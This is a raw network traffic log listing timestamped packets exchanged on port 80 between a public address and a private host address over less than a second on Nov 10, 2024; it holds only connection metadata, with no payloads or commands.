Nov 10, 2024 19:44:03.629904985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629916906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629928112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629944086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629971981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629982948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629982948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629995108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629996061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630007982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630018950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630023003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630043030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630074024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630547047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630595922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630599022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630611897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630642891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630656958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630673885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630691051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630701065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630711079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630713940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630723000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630742073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630768061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630815029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630825043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630834103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630845070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.630858898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.630886078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.631537914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.631582975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.744573116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744585991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744596958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744606972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744617939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744625092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.744654894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744672060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744683027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744688988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.744693995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744705915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.744707108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.744720936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.744765043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745019913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745062113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745069981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745080948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745111942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745124102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745150089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745162010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745172024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745182991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745191097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745203018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745213985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745223045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745224953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745251894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745276928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745352030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745363951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745374918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745387077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745398998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745419979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745419979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745419979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745455980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745554924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745567083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745578051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745596886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745613098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745639086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745640039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745651007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745661974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745672941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745675087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.745702028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.745712996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786411047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786432028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786446095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786472082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786489010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786597967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786613941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786624908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786636114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786638975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786648989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786659956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786684036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786698103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786699057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786712885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786745071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786756039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786814928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786856890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786892891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786904097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786916018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786931992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786931992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786938906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786945105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786955118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786962032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786971092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.786981106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.786993980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787009954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787023067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787163973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787180901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787192106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787218094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787218094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787234068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787270069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787281036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787291050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787357092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787446976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787638903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787655115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787668943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787673950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787683010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787692070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787702084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787714005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787719965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787719965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787729025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787745953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.787759066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787767887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.787800074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861430883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861460924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861475945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861478090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861496925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861500978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861502886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861515045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861529112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861535072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861543894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861552954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861568928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861588001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861732006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861742973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861753941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861773968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861809969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861812115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861824036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861835957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861845970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861862898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861880064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861881018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861897945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.861912966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.861927032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862037897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862049103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862061977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862068892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862081051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862086058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862097979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862099886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862119913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862137079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862137079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862149954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862171888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862190008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862194061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862205982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862230062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862272978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862374067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862385988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862399101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862406015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862417936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862447023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862464905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862477064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862488031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862500906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862504005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862515926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862521887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862534046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862564087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862735987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862746954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862757921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862773895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862777948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862787962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.862795115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862818956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.862843990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903525114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903537035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903547049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903573990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903590918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903605938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903613091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903616905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903630972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903639078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903645992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903661013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903687000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903819084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903831005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903840065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903866053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903877020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903892040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903892994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903907061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903913975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903920889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.903923988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903939009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.903959990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904067993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904086113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904103994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904117107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904131889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904139996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904151917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904161930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904175997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904186010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904200077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904278994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904370070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904385090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904396057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904407024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904418945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904418945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904433012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904464006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904611111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904622078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904630899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904644012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904650927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904655933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904670000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904680014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904695034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904721975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904882908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904920101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904927969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904932976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904943943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.904958010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.904989958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979255915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979269028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979285955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979301929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979306936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979325056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979330063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979337931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979352951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979363918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979372978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979407072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979449987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979474068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979487896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979492903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979500055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979511023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979523897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979535103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979542971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979556084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979562998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979568958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979572058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979583025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979598045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979605913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979613066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979631901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979652882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979675055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979686975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979707003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979722023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979727030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979741096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979744911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979767084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979773045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979782104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979784966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979795933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.979811907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979820013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.979842901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.980074883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980086088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980097055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980117083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.980143070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980151892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.980155945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980171919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.980180025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.980196953 CET	49730	80	192.168.2.4	185.215.113.206
